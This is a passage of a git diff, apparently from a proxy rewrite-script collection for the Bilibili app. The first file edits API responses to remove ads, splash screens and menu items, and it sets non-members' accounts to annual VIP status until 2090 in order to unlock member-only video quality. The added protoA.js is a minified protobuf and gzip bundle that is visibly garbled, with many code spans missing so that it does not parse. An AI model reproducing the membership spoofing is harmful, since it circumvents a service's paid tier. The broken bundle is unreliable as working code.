// 首页导航栏 + if (obj?.data?.tab?.length > 0) { + const sortLists = ["推荐", "热门", "影视", "动画"]; + obj.data.tab = obj.data.tab + .filter((i) => sortLists?.includes(i?.name)) + .sort((a, b) => sortLists.indexOf(a?.name) - sortLists.indexOf(b?.name)); + } + // 右上角按钮 + if (obj?.data?.top?.length > 0) { + obj.data.top = obj.data.top.filter((i) => i?.name === "消息"); + if (obj?.data?.top?.[0]?.pos) { + obj.data.top[0].pos = 1; + } + } +} else if (url.includes("/x/v2/account/mine?")) { + // 我的页面 + const del = ["rework_v1", "vip_section", "vip_section_v2"]; + for (let i of del) { + // 不必要项目 + delete obj.data[i]; + } + if (obj?.data?.sections_v2?.length > 0) { + let newSects = []; + for (let item of obj.data.sections_v2) { + delete item.button; + if (item?.style) { + if (item?.style === 1 || item?.style === 2) { + if (item?.title) { + if (item?.title === "创作中心" || item?.title === "推荐服务") { + // 创作中心 推荐服务 + continue; + } else if (item?.title === "更多服务") { + delete item.title; + if (item?.items?.length > 0) { + let newItems = []; + for (let i of item.items) { + if (/user_center\/feedback/g.test(i?.uri)) { + // 联系客服 + newItems.push(i); + } else if (/user_center\/setting/g.test(i?.uri)) { + // 设置 + newItems.push(i); + } else { + continue; + } + } + item.items = newItems; + } + } + } + } else { + // 其他style + continue; + } + } + newSects.push(item); + } + obj.data.sections_v2 = newSects; + } + // 非会员开启本地会员标识 + if (obj?.data?.vip) { + if (obj?.data?.vip?.status === 0) { + obj.data.vip_type = 2; + obj.data.vip.type = 2; + obj.data.vip.status = 1; + obj.data.vip.due_date = 3818419199; // Unix 时间戳 2090-12-31 23:59:59 + obj.data.vip.label = { + path: "", + text: "年度大会员", + label_theme: "annual_vip", + text_color: "#FFFFFF", + bg_style: 1, + bg_color: "#FB7299", + border_color: "", + image: "https://i0.hdslb.com/bfs/vip/8d4f8bfc713826a5412a0a27eaaac4d6b9ede1d9.png" + }; + obj.data.vip.nickname_color = "#FB7299"; + obj.data.vip.role = 3; + } + } +} else if (url.includes("/x/v2/account/mine/ipad")) { + // ipad我的页面 + delete obj.data.ipad_upper_sections; // 投稿 创作首页 稿件管理 有奖活动 + if (obj?.data?.ipad_recommend_sections?.length > 0) { + // 789我的关注 790我的消息 791我的钱包 792直播中心 793大会员 794我的课程 2542我的游戏 + const itemList = [789, 790]; + obj.data.ipad_recommend_sections = obj.data.ipad_recommend_sections.filter((i) => itemList?.includes(i.id)); + } + if (obj?.data?.ipad_more_sections?.length > 0) { + // 797我的客服 798设置 1070青少年守护 + const itemList = [797, 798]; + obj.data.ipad_more_sections = obj.data.ipad_more_sections.filter((i) => itemList?.includes(i.id)); + } +} else if (url.includes("/x/v2/account/myinfo")) { + // 非会员开启会员专属清晰度 + if (obj?.data?.vip) { + if (obj?.data?.vip?.status === 0) { + obj.data.vip.type = 2; + obj.data.vip.status = 1; + obj.data.vip.due_date = 3818419199; // Unix 时间戳 2090-12-31 23:59:59 + obj.data.vip.role = 3; + } + } +} else if (url.includes("/x/v2/feed/index?")) { + // 首页推荐信息流 + if (obj?.data?.items?.length > 0) { + // 白名单 + obj.data.items = obj.data.items.filter((i) => i?.card_goto === "av"); + } + if (obj?.data?.config?.toast?.has_toast) { + obj.data.config.toast.has_toast = false; + } +} else if (url.includes("/x/v2/feed/index/story")) { + // 竖屏模式信息流 + if (obj?.data?.items?.length > 0) { + // vertical_live 直播内容 + // vertical_pgc 大会员专享 + let newItems = []; + for (let item of obj.data.items) { + if (item?.hasOwnProperty("ad_info")) { + continue; + } else if (["vertical_ad_av", "vertical_live", "vertical_pgc"]?.includes(item?.card_goto)) { + continue; + } else { + delete item.creative_entrance; // 推荐话题搜索框 + delete item.story_cart_icon; // 相关话题图标 + newItems.push(item); + } + } + obj.data.items = newItems; + } +} else if (url.includes("/x/v2/search/square")) { + // 搜索框 + if (obj?.data) { + obj.data = { type: "history", title: "搜索历史", search_hotword_revision: 2 }; + } +} else if (url.includes("/x/v2/splash")) { + // 开屏广告 + if (obj?.data) { + const item = ["account", "event_list", "preload", "show"]; + item.forEach((i) => { + delete obj.data[i]; + }); + if (obj?.data?.max_time) { + obj.data.max_time = 0; + } + if (obj?.data?.min_interval) { + obj.data.min_interval = 31536000; + } + if (obj?.data?.pull_interval) { + obj.data.pull_interval = 31536000; + } + if (obj?.data?.list?.length > 0) { + for (let i of obj.data.list) { + i.duration = 0; + i.enable_pre_download = false; + i.begin_time = 3818332800; // Unix 时间戳 2090-12-31 00:00:00 + i.end_time = 3818419199; // Unix 时间戳 2090-12-31 23:59:59 + } + } + } +} else if (url.includes("/pgc/page/bangumi") || url.includes("/pgc/page/cinema/tab")) { + // 观影页 + if (obj.result?.modules?.length > 0) { + obj.result.modules.forEach((i) => { + if (i?.style?.startsWith("banner")) { + if (i?.items?.length > 0) { + i.items = i.items.filter((ii) => ii?.link?.includes("play")); + } + } else if (i?.style?.startsWith("function")) { + if (i?.items?.length > 0) { + i.items = i.items.filter((ii) => ii?.blink?.startsWith("bilibili")); + } + } else if ([241, 1283, 1284, 1441]?.includes(i?.module_id)) { + if (i?.items?.length > 0) { + i.items = []; + } + } else if (i?.style?.startsWith("tip")) { + if (i?.items?.length > 0) { + i.items = []; + } + } + }); + } +} else if (url.includes("/xlive/app-room/v1/index/getInfoByRoom")) { + // 直播 + delete obj.data.activity_banner_info; + if (obj?.data?.shopping_info) { + obj.data.shopping_info = { is_show: 0 }; + } + if (obj?.data?.new_tab_info?.outer_list?.length > 0) { + obj.data.new_tab_info.outer_list = obj.data.new_tab_info.outer_list.filter((i) => i?.biz_id !== 33); + } +} + +$done({ body: JSON.stringify(obj) }); diff --git a/Scripts/bilibili/protoA.js b/Scripts/bilibili/protoA.js new file mode 100644 index 00000000..001d85c4 --- /dev/null +++ b/Scripts/bilibili/protoA.js @@ -0,0 +1,3 @@ +// Build: 2023/9/5 22:23:15 +(()=>{console.time=function(n){this._times=this._times||{},this._times[n]=Date.now()};console.timeEnd=function(n){if(this._times&&this._times[n]){let e=Date.now()-this._times[n];console.log(`${n}: ${e}ms`),delete this._times[n]}else console.log(`Timer with label ${n} does not exist.`)};function Kn(n){"use strict";function e(){}function t(){}var r=String.fromCharCode,i={}.toString,s=i.call(n.SharedArrayBuffer),l=i(),o=n.Uint8Array,a=o||Array,f=o?ArrayBuffer:a,u=f.isView||function(E){return E&&"length"in E},p=i.call(f.prototype);f=t.prototype;var g=n.TextEncoder,d=new(o?Uint16Array:a)(32);e.prototype.decode=function(E){if(!u(E)){var S=i.call(E);if(S!==p&&S!==s&&S!==l)throw TypeError("Failed to execute 'decode' on 'TextDecoder': The provided value is not of type '(ArrayBuffer or ArrayBufferView)'");E=o?new a(E):E||[]}for(var B=S="",k=0,N=E.length|0,K=N-32|0,U,T,V=0,z=0,L,C=0,R=-1;k>4){case 15:if(L=E[k=k+1|0]&255,L>>6!==2||247>6===2?z+4|0:24,T=T+256&768;case 13:case 12:L=E[k=k+1|0]&255,V<<=6,V|=(T&31)<<6|L&63,z=z+7|0,k>6===2&&V>>z&&1114112>V?(T=V,V=V-65536|0,0<=V&&(R=(V>>10)+55296|0,T=(V&1023)+56320|0,31>C?(d[C]=R,C=C+1|0,R=-1):(L=R,R=T,T=L))):(T>>=8,k=k-T-1|0,T=65533),V=z=0,U=k<=K?32:N-k|0;default:d[C]=T;continue;case 11:case 10:case 9:case 8:}d[C]=65533}if(B+=r(d[0],d[1],d[2],d[3],d[4],d[5],d[6],d[7],d[8],d[9],d[10],d[11],d[12],d[13],d[14],d[15],d[16],d[17],d[18],d[19],d[20],d[21],d[22],d[23],d[24],d[25],d[26],d[27],d[28],d[29],d[30],d[31]),32>C&&(B=B.slice(0,C-32|0)),k>>31,R=-1,B.length=U)B[N]=U;else{if(2047>=U)B[N]=192|U>>6;else{e:{if(55296<=U)if(56319>=U){var T=E.charCodeAt(k=k+1|0)|0;if(56320<=T&&57343>=T){if(U=(U<<10)+T-56613888|0,65535>18,B[N=N+1|0]=128|U>>12&63,B[N=N+1|0]=128|U>>6&63,B[N=N+1|0]=128|U&63;continue}break e}U=65533}else 57343>=U&&(U=65533);!K&&k<<1>12,B[N=N+1|0]=128|U>>6&63}B[N=N+1|0]=128|U&63}}return o?B.subarray(0,N):B.slice(0,N)},n.TextDecoder=e,n.TextEncoder=t}var y=Kn(globalThis);var P=Uint8Array,ie=Uint16Array,Jn=Int32Array,tn=new P([0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0,0]),nn=new P([0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13,0,0]),Yn=new P([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]),rn=function(n,e){for(var t=new ie(31),r=0;r<31;++r)t[r]=e+=1<>1|(I&21845)<<1,J=(J&52428)>>2|(J&13107)<<2,J=(J&61680)>>4|(J&3855)<<4,Ce[I]=((J&65280)>>8|(J&255)<<8)>>1;var J,I,fe=function(n,e,t){for(var r=n.length,i=0,s=new ie(e);i>a]=f}else for(o=new ie(r),i=0;i>15-n[i]);return o},ue=new P(288);for(I=0;I<144;++I)ue[I]=8;var I;for(I=144;I<256;++I)ue[I]=9;var I;for(I=256;I<280;++I)ue[I]=7;var I;for(I=280;I<288;++I)ue[I]=8;var I,ln=new P(32);for(I=0;I<32;++I)ln[I]=5;var I;var qn=fe(ue,9,1);var Hn=fe(ln,5,1),Le=function(n){for(var e=n[0],t=1;te&&(e=n[t]);return e},M=function(n,e,t){var r=e/8|0;return(n[r]|n[r+1]<<8)>>(e&7)&t},De=function(n,e){var t=e/8|0;return(n[t]|n[t+1]<<8|n[t+2]<<16)>>(e&7)},Qn=function(n){return(n+7)/8|0},er=function(n,e,t){(e==null||e<0)&&(e=0),(t==null||t>n.length)&&(t=n.length);var r=new P(t-e);return r.set(n.subarray(e,t)),r};var tr=["unexpected EOF","invalid block type","invalid length/literal","invalid distance","stream finished","no stream handler",,"no callback","invalid UTF-8 data","extra field too long","date not in range 1980-2099","filename too long","stream finishing","invalid zip data"],G=function(n,e,t){var r=new Error(e||tr[n]);if(r.code=n,Error.captureStackTrace&&Error.captureStackTrace(r,G),!t)throw r;return r},nr=function(n,e,t,r){var i=n.length,s=r?r.length:0;if(!i||e.f&&!e.l)return t||new P(0);var l=!t||e.i!=2,o=e.i;t||(t=new P(i*3));var a=function(Ht){var Qt=t.length;if(Ht>Qt){var en=new P(Math.max(Qt*2,Ht));en.set(t),t=en}},f=e.f||0,u=e.p||0,p=e.b||0,g=e.l,d=e.d,E=e.m,S=e.n,B=i*8;do{if(!g){f=M(n,u,1);var k=M(n,u+1,3);if(u+=3,k)if(k==1)g=qn,d=Hn,E=9,S=5;else if(k==2){var T=M(n,u,31)+257,V=M(n,u+10,15)+4,z=T+M(n,u+5,31)+1;u+=14;for(var L=new P(z),C=new P(19),R=0;R>4;if(N<16)L[R++]=N;else{var ne=0,ye=0;for(N==16?(ye=3+M(n,u,3),u+=2,ne=L[R-1]):N==17?(ye=3+M(n,u,7),u+=3):N==18&&(ye=11+M(n,u,127),u+=7);ye--;)L[R++]=ne}}var Xt=L.subarray(0,T),_=L.subarray(T);E=Le(Xt),S=Le(_),g=fe(Xt,E,1),d=fe(_,S,1)}else G(1);else{var N=Qn(u)+4,K=n[N-4]|n[N-3]<<8,U=N+K;if(U>i){o&&G(0);break}l&&a(p+K),t.set(n.subarray(N,U),p),e.b=p+=K,e.p=u=U*8,e.f=f;continue}if(u>B){o&&G(0);break}}l&&a(p+131072);for(var Gn=(1<>4;if(u+=ne&15,u>B){o&&G(0);break}if(ne||G(2),re<256)t[p++]=re;else if(re==256){Fe=u,g=null;break}else{var Zt=re-254;if(re>264){var R=re-257,le=tn[R];Zt=M(n,u,(1<>4;Re||G(3),u+=Re&15;var _=Zn[Se];if(Se>3){var le=nn[Se];_+=De(n,u)&(1<B){o&&G(0);break}l&&a(p+131072);var Ve=p+Zt;if(p<_){var qt=s-_,jn=Math.min(_,Ve);for(qt+p<0&&G(3);p>3&1)+(e>>4&1);r>0;r-=!n[t++]);return t+(e&2)},sr=function(n){var e=n.length;return(n[e-4]|n[e-3]<<8|n[e-2]<<16|n[e-1]<<24)>>>0};function fn(n,e){var t=ir(n);return t+8>n.length&&G(6,"invalid gzip data"),nr(n.subarray(t,-8),{i:2},e&&e.out||new P(sr(n)),e&&e.dictionary)}var or=typeof TextDecoder<"u"&&new TextDecoder,ar=0;try{or.decode(rr,{stream:!0}),ar=1}catch{}function Q(n){let e=typeof n;if(e=="object"){if(Array.isArray(n))return"array";if(n===null)return"null"}return e}function se(n){return n!==null&&typeof n=="object"&&!Array.isArray(n)}var Y="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),ve=[];for(let n=0;n>4,l=s,i=2;break;case 2:t[r++]=(l&15)<<4|(s&60)>>2,l=s,i=3;break;case 3:t[r++]=(l&3)<<6|s,i=0;break}}if(i==1)throw Error("invalid base64 string.");return t.subarray(0,r)}function hn(n){let e="",t=0,r,i=0;for(let s=0;s>2],i=(r&3)<<4,t=1;break;case 1:e+=Y[i|r>>4],i=(r&15)<<2,t=2;break;case 2:e+=Y[i|r>>6],e+=Y[r&63],t=0;break}return t&&(e+=Y[i],e+="=",t==1&&(e+="=")),e}var m;(function(n){n.symbol=Symbol.for("protobuf-ts/unknown"),n.onRead=(t,r,i,s,l)=>{(e(r)?r[n.symbol]:r[n.symbol]=[]).push({no:i,wireType:s,data:l})},n.onWrite=(t,r,i)=>{for(let{no:s,wireType:l,data:o}of n.list(r))i.tag(s,l).raw(o)},n.list=(t,r)=>{if(e(t)){let i=t[n.symbol];return r?i.filter(s=>s.no==r):i}return[]},n.last=(t,r)=>n.list(t,r).slice(-1)[0];let e=t=>t&&Array.isArray(t[n.symbol])})(m||(m={}));var c;(function(n){n[n.Varint=0]="Varint",n[n.Bit64=1]="Bit64",n[n.LengthDelimited=2]="LengthDelimited",n[n.StartGroup=3]="StartGroup",n[n.EndGroup=4]="EndGroup",n[n.Bit32=5]="Bit32"})(c||(c={}));function cn(){let n=0,e=0;for(let r=0;r<28;r+=7){let i=this.buf[this.pos++];if(n|=(i&127)<>4,!(t&128))return this.assertBounds(),[n,e];for(let r=3;r<=31;r+=7){let i=this.buf[this.pos++];if(e|=(i&127)<>>s,o=!(!(l>>>7)&&e==0),a=(o?l|128:l)&255;if(t.push(a),!o)return}let r=n>>>28&15|(e&7)<<4,i=!!(e>>3);if(t.push((i?r|128:r)&255),!!i){for(let s=3;s<31;s=s+7){let l=e>>>s,o=!!(l>>>7),a=(o?l|128:l)&255;if(t.push(a),!o)return}t.push(e>>>31&1)}}var be=65536*65536;function We(n){let e=n[0]=="-";e&&(n=n.slice(1));let t=1e6,r=0,i=0;function s(l,o){let a=Number(n.slice(l,o));i*=t,r=r*t+a,r>=be&&(i=i+(r/be|0),r=r%be)}return s(-24,-18),s(-18,-12),s(-12,-6),s(-6),[e,r,i]}function Ne(n,e){if(e<=2097151)return""+(be*e+(n>>>0));let t=n&16777215,r=(n>>>24|e<<8)>>>0&16777215,i=e>>16&65535,s=t+r*6777216+i*6710656,l=r+i*8147497,o=i*2,a=1e7;s>=a&&(l+=Math.floor(s/a),s%=a),l>=a&&(o+=Math.floor(l/a),l%=a);function f(u,p){let g=u?String(u):"";return p?"0000000".slice(g.length)+g:g}return f(o,0)+f(l,o)+f(s,1)}function $e(n,e){if(n>=0){for(;n>127;)e.push(n&127|128),n=n>>>7;e.push(n)}else{for(let t=0;t<9;t++)e.push(n&127|128),n=n>>7;e.push(1)}}function mn(){let n=this.buf[this.pos++],e=n&127;if(!(n&128))return this.assertBounds(),e;if(n=this.buf[this.pos++],e|=(n&127)<<7,!(n&128))return this.assertBounds(),e;if(n=this.buf[this.pos++],e|=(n&127)<<14,!(n&128))return this.assertBounds(),e;if(n=this.buf[this.pos++],e|=(n&127)<<21,!(n&128))return this.assertBounds(),e;n=this.buf[this.pos++],e|=(n&15)<<28;for(let t=5;n&128&&t<10;t++)n=this.buf[this.pos++];if(n&128)throw new Error("invalid varint");return this.assertBounds(),e>>>0}function lr(){let n=new DataView(new ArrayBuffer(8));return globalThis.BigInt!==void 0&&typeof n.getBigInt64=="function"&&typeof n.getBigUint64=="function"&&typeof n.setBigInt64=="function"&&typeof n.setBigUint64=="function"?{MIN:BigInt("-9223372036854775808"),MAX:BigInt("9223372036854775807"),UMIN:BigInt("0"),UMAX:BigInt("18446744073709551615"),C:BigInt,V:n}:void 0}var A=lr();function pn(n){if(!n)throw new Error("BigInt unavailable, see https://github.com/timostamm/protobuf-ts/blob/v1.0.8/MANUAL.md#bigint-support")}var dn=/^-?[0-9]+$/,Ee=65536*65536,xe=class{constructor(e,t){this.lo=e|0,this.hi=t|0}isZero(){return this.lo==0&&this.hi==0}toNumber(){let e=this.hi*Ee+(this.lo>>>0);if(!Number.isSafeInteger(e))throw new Error("cannot convert to safe number");return e}},F=class extends xe{static from(e){if(A)switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=="")throw new Error("string is no integer");e=A.C(e);case"number":if(e===0)return this.ZERO;e=A.C(e);case"bigint":if(!e)return this.ZERO;if(eA.UMAX)throw new Error("ulong too large");return A.V.setBigUint64(0,e,!0),new F(A.V.getInt32(0,!0),A.V.getInt32(4,!0))}else switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=e.trim(),!dn.test(e))throw new Error("string is no integer");let[t,r,i]=We(e);if(t)throw new Error("signed value");return new F(r,i);case"number":if(e==0)return this.ZERO;if(!Number.isSafeInteger(e))throw new Error("number is no integer");if(e<0)throw new Error("signed value for ulong");return new F(e,e/Ee)}throw new Error("unknown value "+typeof e)}toString(){return A?this.toBigInt().toString():Ne(this.lo,this.hi)}toBigInt(){return pn(A),A.V.setInt32(0,this.lo,!0),A.V.setInt32(4,this.hi,!0),A.V.getBigUint64(0,!0)}};F.ZERO=new F(0,0);var O=class extends xe{static from(e){if(A)switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=="")throw new Error("string is no integer");e=A.C(e);case"number":if(e===0)return this.ZERO;e=A.C(e);case"bigint":if(!e)return this.ZERO;if(eA.MAX)throw new Error("ulong too large");return A.V.setBigInt64(0,e,!0),new O(A.V.getInt32(0,!0),A.V.getInt32(4,!0))}else switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=e.trim(),!dn.test(e))throw new Error("string is no integer");let[t,r,i]=We(e),s=new O(r,i);return t?s.negate():s;case"number":if(e==0)return this.ZERO;if(!Number.isSafeInteger(e))throw new Error("number is no integer");return e>0?new O(e,e/Ee):new O(-e,-e/Ee).negate()}throw new Error("unknown value "+typeof e)}isNegative(){return(this.hi&2147483648)!==0}negate(){let e=~this.hi,t=this.lo;return t?t=~t+1:e+=1,new O(t,e)}toString(){if(A)return this.toBigInt().toString();if(this.isNegative()){let e=this.negate();return"-"+Ne(e.lo,e.hi)}return Ne(this.lo,this.hi)}toBigInt(){return pn(A),A.V.setInt32(0,this.lo,!0),A.V.setInt32(4,this.hi,!0),A.V.getBigInt64(0,!0)}};O.ZERO=new O(0,0);var gn={readUnknownField:!0,readerFactory:n=>new Pe(n)};function wn(n){return n?Object.assign(Object.assign({},gn),n):gn}var Pe=class{constructor(e,t){this.varint64=cn,this.uint32=mn,this.buf=e,this.len=e.length,this.pos=0,this.view=new DataView(e.buffer,e.byteOffset,e.byteLength),this.textDecoder=t??new TextDecoder("utf-8",{fatal:!0,ignoreBOM:!0})}tag(){let e=this.uint32(),t=e>>>3,r=e&7;if(t<=0||r<0||r>5)throw new Error("illegal tag: field no "+t+" wire type "+r);return[t,r]}skip(e){let t=this.pos;switch(e){case c.Varint:for(;this.buf[this.pos++]&128;);break;case c.Bit64:this.pos+=4;case c.Bit32:this.pos+=4;break;case c.LengthDelimited:let r=this.uint32();this.pos+=r;break;case c.StartGroup:let i;for(;(i=this.tag()[1])!==c.EndGroup;)this.skip(i);break;default:throw new Error("cant skip wire type "+e)}return this.assertBounds(),this.buf.subarray(t,this.pos)}assertBounds(){if(this.pos>this.len)throw new RangeError("premature EOF")}int32(){return this.uint32()|0}sint32(){let e=this.uint32();return e>>>1^-(e&1)}int64(){return new O(...this.varint64())}uint64(){return new F(...this.varint64())}sint64(){let[e,t]=this.varint64(),r=-(e&1);return e=(e>>>1|(t&1)<<31)^r,t=t>>>1^r,new O(e,t)}bool(){let[e,t]=this.varint64();return e!==0||t!==0}fixed32(){return this.view.getUint32((this.pos+=4)-4,!0)}sfixed32(){return this.view.getInt32((this.pos+=4)-4,!0)}fixed64(){return new F(this.sfixed32(),this.sfixed32())}sfixed64(){return new O(this.sfixed32(),this.sfixed32())}float(){return this.view.getFloat32((this.pos+=4)-4,!0)}double(){return this.view.getFloat64((this.pos+=8)-8,!0)}bytes(){let e=this.uint32(),t=this.pos;return this.pos+=e,this.assertBounds(),this.buf.subarray(t,t+e)}string(){return this.textDecoder.decode(this.bytes())}};function x(n,e){if(!n)throw new Error(e)}var fr=34028234663852886e22,ur=-34028234663852886e22,hr=4294967295,cr=2147483647,mr=-2147483648;function Z(n){if(typeof n!="number")throw new Error("invalid int 32: "+typeof n);if(!Number.isInteger(n)||n>cr||nhr||n<0)throw new Error("invalid uint 32: "+n)}function oe(n){if(typeof n!="number")throw new Error("invalid float 32: "+typeof n);if(Number.isFinite(n)&&(n>fr||nnew _e};function vn(n){return n?Object.assign(Object.assign({},yn),n):yn}var _e=class{constructor(e){this.stack=[],this.textEncoder=e??new TextEncoder,this.chunks=[],this.buf=[]}finish(){this.chunks.push(new Uint8Array(this.buf));let e=0;for(let i=0;i>>0)}raw(e){return this.buf.length&&(this.chunks.push(new Uint8Array(this.buf)),this.buf=[]),this.chunks.push(e),this}uint32(e){for(ee(e);e>127;)this.buf.push(e&127|128),e=e>>>7;return this.buf.push(e),this}int32(e){return Z(e),$e(e,this.buf),this}bool(e){return this.buf.push(e?1:0),this}bytes(e){return this.uint32(e.byteLength),this.raw(e)}string(e){let t=this.textEncoder.encode(e);return this.uint32(t.byteLength),this.raw(t)}float(e){oe(e);let t=new Uint8Array(4);return new DataView(t.buffer).setFloat32(0,e,!0),this.raw(t)}double(e){let t=new Uint8Array(8);return new DataView(t.buffer).setFloat64(0,e,!0),this.raw(t)}fixed32(e){ee(e);let t=new Uint8Array(4);return new DataView(t.buffer).setUint32(0,e,!0),this.raw(t)}sfixed32(e){Z(e);let t=new Uint8Array(4);return new DataView(t.buffer).setInt32(0,e,!0),this.raw(t)}sint32(e){return Z(e),e=(e<<1^e>>31)>>>0,$e(e,this.buf),this}sfixed64(e){let t=new Uint8Array(8),r=new DataView(t.buffer),i=O.from(e);return r.setInt32(0,i.lo,!0),r.setInt32(4,i.hi,!0),this.raw(t)}fixed64(e){let t=new Uint8Array(8),r=new DataView(t.buffer),i=F.from(e);return r.setInt32(0,i.lo,!0),r.setInt32(4,i.hi,!0),this.raw(t)}int64(e){let t=O.from(e);return ke(t.lo,t.hi,this.buf),this}sint64(e){let t=O.from(e),r=t.hi>>31,i=t.lo<<1^r,s=(t.hi<<1|t.lo>>>31)^r;return ke(i,s,this.buf),this}uint64(e){let t=F.from(e);return ke(t.lo,t.hi,this.buf),this}};var bn={emitDefaultValues:!1,enumAsInteger:!1,useProtoFieldName:!1,prettySpaces:0},kn={ignoreUnknownFields:!1};function Me(n){return n?Object.assign(Object.assign({},kn),n):kn}function he(n){return n?Object.assign(Object.assign({},bn),n):bn}var v=Symbol.for("protobuf-ts/message-type");function Ge(n){let e=!1,t=[];for(let r=0;r!i.includes(l))||!r&&i.some(l=>!s.known.includes(l)))return!1;if(t<1)return!0;for(let l of s.oneofs){let o=e[l];if(!En(o))return!1;if(o.oneofKind===void 0)continue;let a=this.fields.find(f=>f.localName===o.oneofKind);if(!a||!this.field(o[o.oneofKind],a,r,t))return!1}for(let l of this.fields)if(l.oneof===void 0&&!this.field(e[l.localName],l,r,t))return!1;return!0}field(e,t,r,i){let s=t.repeat;switch(t.kind){case"scalar":return e===void 0?t.opt:s?this.scalars(e,t.T,i,t.L):this.scalar(e,t.T,t.L);case"enum":return e===void 0?t.opt:s?this.scalars(e,h.INT32,i):this.scalar(e,h.INT32);case"message":return e===void 0?!0:s?this.messages(e,t.T(),r,i):this.message(e,t.T(),r,i);case"map":if(typeof e!="object"||e===null)return!1;if(i<2)return!0;if(!this.mapKeys(e,t.K,i))return!1;switch(t.V.kind){case"scalar":return this.scalars(Object.values(e),t.V.T,i,t.V.L);case"enum":return this.scalars(Object.values(e),h.INT32,i);case"message":return this.messages(Object.values(e),t.V.T(),r,i)}break}return!0}message(e,t,r,i){return r?t.isAssignable(e,i):t.is(e,i)}messages(e,t,r,i){if(!Array.isArray(e))return!1;if(i<2)return!0;if(r){for(let s=0;sparseInt(s)),t,r);case h.BOOL:return this.scalars(i.slice(0,r).map(s=>s=="true"?!0:s=="false"?!1:s),t,r);default:return this.scalars(i,t,r,W.STRING)}}};function $(n,e){switch(e){case W.BIGINT:return n.toBigInt();case W.NUMBER:return n.toNumber();default:return n.toString()}}var Be=class{constructor(e){this.info=e}prepare(){var e;if(this.fMap===void 0){this.fMap={};let t=(e=this.info.fields)!==null&&e!==void 0?e:[];for(let r of t)this.fMap[r.name]=r,this.fMap[r.jsonName]=r,this.fMap[r.localName]=r}}assert(e,t,r){if(!e){let i=Q(r);throw(i=="number"||i=="boolean")&&(i=r.toString()),new Error(`Cannot parse JSON ${i} for ${this.info.typeName}#${t}`)}}read(e,t,r){this.prepare();let i=[];for(let[s,l]of Object.entries(e)){let o=this.fMap[s];if(!o){if(!r.ignoreUnknownFields)throw new Error(`Found unknown field while reading ${this.info.typeName} from JSON format. JSON key: ${s}`);continue}let a=o.localName,f;if(o.oneof){if(i.includes(o.oneof))throw new Error(`Multiple members of the oneof group "${o.oneof}" of ${this.info.typeName} are present in JSON.`);i.push(o.oneof),f=t[o.oneof]={oneofKind:a}}else f=t;if(o.kind=="map"){if(l===null)continue;this.assert(se(l),o.name,l);let u=f[a];for(let[p,g]of Object.entries(l)){this.assert(g!==null,o.name+" map value",null);let d;switch(o.V.kind){case"message":d=o.V.T().internalJsonRead(g,r);break;case"enum":if(d=this.enum(o.V.T(),g,o.name,r.ignoreUnknownFields),d===!1)continue;break;case"scalar":d=this.scalar(g,o.V.T,o.V.L,o.name);break}this.assert(d!==void 0,o.name+" map value",g);let E=p;o.K==h.BOOL&&(E=E=="true"?!0:E=="false"?!1:E),E=this.scalar(E,o.K,W.STRING,o.name).toString(),u[E]=d}}else if(o.repeat){if(l===null)continue;this.assert(Array.isArray(l),o.name,l);let u=f[a];for(let p of l){this.assert(p!==null,o.name,null);let g;switch(o.kind){case"message":g=o.T().internalJsonRead(p,r);break;case"enum":if(g=this.enum(o.T(),p,o.name,r.ignoreUnknownFields),g===!1)continue;break;case"scalar":g=this.scalar(p,o.T,o.L,o.name);break}this.assert(g!==void 0,o.name,l),u.push(g)}}else switch(o.kind){case"message":if(l===null&&o.T().typeName!="google.protobuf.Value"){this.assert(o.oneof===void 0,o.name+" (oneof member)",null);continue}f[a]=o.T().internalJsonRead(l,r,f[a]);break;case"enum":let u=this.enum(o.T(),l,o.name,r.ignoreUnknownFields);if(u===!1)continue;f[a]=u;break;case"scalar":f[a]=this.scalar(l,o.T,o.L,o.name);break}}}enum(e,t,r,i){if(e[0]=="google.protobuf.NullValue"&&x(t===null,`Unable to parse field ${this.info.typeName}#${r}, enum ${e[0]} only accepts null.`),t===null)return 0;switch(typeof t){case"number":return x(Number.isInteger(t),`Unable to parse field ${this.info.typeName}#${r}, enum can only be integral number, got ${t}.`),t;case"string":let s=t;e[2]&&t.substring(0,e[2].length)===e[2]&&(s=t.substring(e[2].length));let l=e[1][s];return typeof l>"u"&&i?!1:(x(typeof l=="number",`Unable to parse field ${this.info.typeName}#${r}, enum ${e[0]} has no value for "${t}".`),l)}x(!1,`Unable to parse field ${this.info.typeName}#${r}, cannot parse enum value from ${typeof t}".`)}scalar(e,t,r,i){let s;try{switch(t){case h.DOUBLE:case h.FLOAT:if(e===null)return 0;if(e==="NaN")return Number.NaN;if(e==="Infinity")return Number.POSITIVE_INFINITY;if(e==="-Infinity")return Number.NEGATIVE_INFINITY;if(e===""){s="empty string";break}if(typeof e=="string"&&e.trim().length!==e.length){s="extra whitespace";break}if(typeof e!="string"&&typeof e!="number")break;let l=Number(e);if(Number.isNaN(l)){s="not a number";break}if(!Number.isFinite(l)){s="too large or small";break}return t==h.FLOAT&&oe(l),l;case h.INT32:case h.FIXED32:case h.SFIXED32:case h.SINT32:case h.UINT32:if(e===null)return 0;let o;if(typeof e=="number"?o=e:e===""?s="empty string":typeof e=="string"&&(e.trim().length!==e.length?s="extra whitespace":o=Number(e)),o===void 0)break;return t==h.UINT32?ee(o):Z(o),o;case h.INT64:case h.SFIXED64:case h.SINT64:if(e===null)return $(O.ZERO,r);if(typeof e!="number"&&typeof e!="string")break;return $(O.from(e),r);case h.FIXED64:case h.UINT64:if(e===null)return $(F.ZERO,r);if(typeof e!="number"&&typeof e!="string")break;return $(F.from(e),r);case h.BOOL:if(e===null)return!1;if(typeof e!="boolean")break;return e;case h.STRING:if(e===null)return"";if(typeof e!="string"){s="extra whitespace";break}try{encodeURIComponent(e)}catch(a){a="invalid UTF8";break}return e;case h.BYTES:if(e===null||e==="")return new Uint8Array(0);if(typeof e!="string")break;return un(e)}}catch(l){s=l.message}this.assert(!1,i+(s?" - "+s:""),e)}};var Oe=class{constructor(e){var t;this.fields=(t=e.fields)!==null&&t!==void 0?t:[]}write(e,t){let r={},i=e;for(let s of this.fields){if(!s.oneof){let 